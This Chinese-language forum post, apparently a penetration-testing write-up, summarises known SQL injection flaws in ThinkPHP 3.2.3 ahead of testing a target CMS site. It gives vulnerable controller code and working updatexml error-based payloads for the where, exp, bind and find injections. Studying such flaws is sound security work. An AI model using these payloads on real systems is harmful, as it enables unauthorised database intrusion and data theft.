g师傅带我渗透
前言
某个深夜,waf师傅丢了一套源码给我,以及一个对应的目标站点。
该cms基于tp3.2.3二次开发,已知该版本存在多种sql注入类型以及缓存文件漏洞。
tp3.2.3历史漏洞
漏洞已提交至CNVD
简要概括如下
where注入
利用字符串方式作为where传参时存在注入
1) and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+
exp注入
这里使用全局数组进行传参(不要用I方法),漏洞才能生效
public function getuser(){
$User = D('User');
$map = array('id' => $_GET['id']);
$user = $User->where($map)->find();
dump($user);
}
id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+
bind注入
public function getuser(){
$data['id'] = I('id');
$uname['username'] = I('username');
$user = M('User')->where($data)->save($uname);
dump($user);
}
id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing
find/select/delete注入
public function getuser(){
$user = M('User')->find(I('id'));
dump($user);
}
?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)
order by注入
public function user(){
$data['username'] = array('eq','admin');
$user = M('User')->where($data)->order(I('order'))->find();
dump($user);
}
点击收藏 | 1
关注 | 2